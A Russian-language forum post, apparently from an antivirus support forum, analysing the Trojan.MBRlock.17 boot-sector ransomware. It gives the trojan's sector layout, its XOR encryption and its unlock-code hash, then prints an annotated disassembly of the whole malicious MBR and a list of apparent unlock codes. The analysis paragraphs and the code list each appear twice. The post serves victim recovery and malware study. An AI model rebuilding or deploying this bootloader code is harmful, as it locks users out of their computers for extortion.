- Сообщения
- 3,887
- Реакции
- 2,433
Появилась новая разновидность MBRlock - Trojan.MBRlock.17 (ЛК:Trojan-Ransom.Boot.Mbro.e, Fortinet: w32/mbro.e!tr)
[ERROR]Мы не рекомендуем пытаться восстановить MBR самостоятельно воспользовавшись fixmbr, это может привести к утере таблицы разделов и как следствие неработоспособности компьютера. Пример[/ERROR]
Характерная особенность: строка для ввода кода смещена ближе к центру нижней строки экрана
Что нового
1. Вирус портит таблицу разделов.
2. Оригинальное содержимое MBR хранится в 16 секторе
3. Текст сообщения вымогателя и другие используемые им фразы хранятся в секторах 5-7
Оригинальное содержимое этих секторов зашифровано методом последовательного применения XOR с кодами CF-FF, 00-CE
Т.е. каждый следующий байт ксорится новым значением.
4. Знакогенератор для символов хранится в секторах 53, 54
5. Вычисляется хэш введенного кода разблокировки (используется цииклический сдвиг влево на 3 бита + xor с кодом каждого введенногоо сиимвола), т.е. в явном виде код не лежит и теоретически их подойдет несметное количество (используется тот же диапазон символов, что и в предыдущих версиях)
Дополнительный анализ имеющихся зараженных дампов показал, что:
1. Коды разблокировки могут быть длиной 5 - 11 символов
2. Оригинальное содержимое записывается в один из секторов 2-63, который выбирается случайно
3. Знакогенератор (2 сектора) также записывается в случайные сектора 2-63
4. Текст вымогателя и сопутствующие тексты (3 сектора) зашифрованы и располагаются также в случайных секторах 2-63
5. Попался дамп, в котором таблица разделов не испорчена
[ERROR]Мы не рекомендуем пытаться восстановить MBR самостоятельно воспользовавшись fixmbr, это может привести к утере таблицы разделов и как следствие неработоспособности компьютера. Пример[/ERROR]
Характерная особенность: строка для ввода кода смещена ближе к центру нижней строки экрана
Что нового
1. Вирус портит таблицу разделов.
2. Оригинальное содержимое MBR хранится в 16 секторе
3. Текст сообщения вымогателя и другие используемые им фразы хранятся в секторах 5-7
Оригинальное содержимое этих секторов зашифровано методом последовательного применения XOR с кодами CF-FF, 00-CE
Т.е. каждый следующий байт ксорится новым значением.
4. Знакогенератор для символов хранится в секторах 53, 54
5. Вычисляется хэш введенного кода разблокировки (используется цииклический сдвиг влево на 3 бита + xor с кодом каждого введенногоо сиимвола), т.е. в явном виде код не лежит и теоретически их подойдет несметное количество (используется тот же диапазон символов, что и в предыдущих версиях)
Дополнительный анализ имеющихся зараженных дампов показал, что:
1. Коды разблокировки могут быть длиной 5 - 11 символов
2. Оригинальное содержимое записывается в один из секторов 2-63, который выбирается случайно
3. Знакогенератор (2 сектора) также записывается в случайные сектора 2-63
4. Текст вымогателя и сопутствующие тексты (3 сектора) зашифрованы и располагаются также в случайных секторах 2-63
5. Попался дамп, в котором таблица разделов не испорчена
Код:
0000: 31C0 xor ax,ax
0002: 8ED0 mov ss,ax
0004: BC007C mov sp,07C00
0007: 8ED8 mov ds,ax
0009: 8EC0 mov es,ax
; [B]установить режим 80х25, 16-цветный[/B]
000B: B80300 mov ax,3
000E: CD10 int 010
; [B]чтение двух секторов, начиная с сектора 53[/B]
0010: BA8000 mov dx,00080
0013: B93500 mov cx,00035
0016: B80202 mov ax,00202
0019: BB0010 mov bx,01000
001C: CD13 int 013
; [B]загрузить знакогенератор [/B]
001E: B80011 mov ax,01100
0021: BD0010 mov bp,01000
0024: B94000 mov cx,00040
0027: BAC000 mov dx,000C0
002A: BB0010 mov bx,01000
002D: CD10 int 010
; [B]чтение трех секторов, начиная с сектора 5[/B]
002F: BA8000 mov dx,00080
0032: B90500 mov cx,5
0035: B80302 mov ax,00203
0038: BB0030 mov bx,03000
003B: CD13 int 013
; [B]расшифровка секторов 5, 6, 7 (сообщение вымогателя и сопутствующие тексты)[/B]
003D: BE0030 mov si,03000
0040: 89F7 mov di,si
0042: B9D404 mov cx,004D4
0045: B2CF mov dl,[B][COLOR="Red"]0CF[/COLOR][/B] ; <== начальное значение для шифрования
0047: AC lodsb
0048: 30D0 xor al,dl
004A: AA stosb
004B: FEC2 inc dl
004D: E2F8 loop 00047
; [B]вывод сообщения вымогателя на экран[/B]
004F: BE0030 mov si,03000
0052: 89F0 mov ax,si
0054: 83C023 add ax,023
0057: 89C5 mov bp,ax
0059: B80113 mov ax,01301
005C: BB0F00 mov bx,0000F
005F: B9B004 mov cx,004B0
0062: BA0001 mov dx,00100
0065: CD10 int 010
; [B]вывод строки запроса кода[/B]
0067: 89F5 mov bp,si
0069: B80113 mov ax,01301
006C: BB0C00 mov bx,0000C
006F: B90C00 mov cx,0000C
0072: BA1517 mov dx,01715
0075: CD10 int 010
; [B]чтение введенного пользователем кода[/B]
0077: BF006C mov di,06C00
007A: 31C0 xor ax,ax
007C: CD16 int 016
007E: 3C08 cmp al,8
0080: 7521 jnz 000A3
0082: B403 mov ah,3
0084: 31DB xor bx,bx
0086: 80FA21 cmp dl,021
0089: CD10 int 010
008B: 76ED jbe 0007A
008D: 52 push dx
008E: FECA dec dl
0090: B402 mov ah,2
0092: CD10 int 010
0094: B8200E mov ax,00E20
0097: CD10 int 010
0099: 5A pop dx
009A: FECA dec dl
009C: B402 mov ah,2
009E: CD10 int 010
00A0: 4F dec di
00A1: EBD7 jmps 0007A
00A3: 3C0D cmp al,00D
00A5: 7420 jz 000C7
00A7: 3C20 cmp al,020
00A9: 72CF jc 0007A
00AB: 3C7E cmp al,07E
00AD: 77CB ja 0007A
00AF: AA stosb
00B0: B409 mov ah,9
00B2: 31C9 xor cx,cx
00B4: 41 inc cx
00B5: B30A mov bl,00A
00B7: CD10 int 010
00B9: B403 mov ah,3
00BB: 31DB xor bx,bx
00BD: CD10 int 010
00BF: FEC2 inc dl
00C1: B402 mov ah,2
00C3: CD10 int 010
00C5: EBB3 jmps 0007A
; [B]получение хэша кода, введенного пользователем[/B]
00C7: 56 push si
00C8: BE006C mov si,06C00
00CB: B90800 mov cx,8
00CE: 31D2 xor dx,dx
00D0: C1C203 rol dx,3
00D3: AC lodsb
00D4: 30C2 xor dl,al
00D6: E2F8 loop 000D0
00D8: 5E pop si
00D9: 81FA1033 cmp dx,[B][COLOR="red"]03310[/COLOR][/B] ; <== это хэш кода разблокировки (может отличаться у разных пользователей)
00DD: 7438 jz 00117
; [B]вывод сообщения об ошибке в случае неверного кода[/B]
00DF: 89F0 mov ax,si
00E1: 83C00C add ax,00C
00E4: 89C5 mov bp,ax
00E6: B80113 mov ax,01301
00E9: BB0400 mov bx,4
00EC: B90D00 mov cx,0000D
00EF: BA2117 mov dx,01721
00F2: CD10 int 010
00F4: B8200A mov ax,00A20
00F7: B96400 mov cx,00064
00FA: CD10 int 010
00FC: B91400 mov cx,00014
00FF: 31D2 xor dx,dx
0101: B486 mov ah,086
0103: CD15 int 015
0105: B402 mov ah,2
0107: BA2117 mov dx,01721
010A: CD10 int 010
010C: B8200A mov ax,00A20
010F: B96400 mov cx,00064
0112: CD10 int 010
0114: E960FF jmp 00077
; [B]код подошел, вывод строки о начале загрузки OS[/B]
0117: B80300 mov ax,3
011A: CD10 int 010
011C: 89F0 mov ax,si
011E: 83C019 add ax,019
0121: 89C5 mov bp,ax
0123: B80113 mov ax,01301
0126: BB0200 mov bx,2
0129: B90A00 mov cx,0000A
012C: BA0102 mov dx,00201
012F: CD10 int 010
0131: B409 mov ah,9
0133: B02E mov al,02E
0135: B90E00 mov cx,0000E
0138: CD10 int 010
013A: B302 mov bl,2
013C: B402 mov ah,2
013E: BA0102 mov dx,00201
0141: CD10 int 010
0143: B91400 mov cx,00014
0146: 31D2 xor dx,dx
0148: B486 mov ah,086
014A: CD15 int 015
; [B]передача управления на восстановление MBR[/B]
014C: 6A00 push 0
014E: 07 pop es
014F: CD12 int 012
0151: C1E006 shl ax,6
0154: 8EC0 mov es,ax
0156: 31FF xor di,di
0158: BE647D mov si,07D64
015B: B92200 mov cx,00022
015E: F3A4 rep movsb
0160: 06 push es
0161: 6A00 push 0
0163: CB retf
; [B]восстановление MBR и передача управления оригинальному загрузчику[/B]
0164: 6A00 push 0
0166: 07 pop es
0167: B280 mov dl,080
0169: B91000 mov cx,00010
016C: B80102 mov ax,00201
016F: BB007C mov bx,07C00
0172: CD13 int 013
0174: B280 mov dl,080
0176: B90100 mov cx,1
0179: B80103 mov ax,00301
017C: BB007C mov bx,07C00
017F: CD13 int 013
0181: EA007C0000 jmpf 00000:07C00
12345
16464
34655990
04455951
16454101
36655980
04454151
10054133
17655904
10655930
00000277572
00000677568
00001077577
00000877577
00001277576
00001877573
16464
34655990
04455951
16454101
36655980
04454151
10054133
17655904
10655930
00000277572
00000677568
00001077577
00000877577
00001277576
00001877573
Последнее редактирование модератором: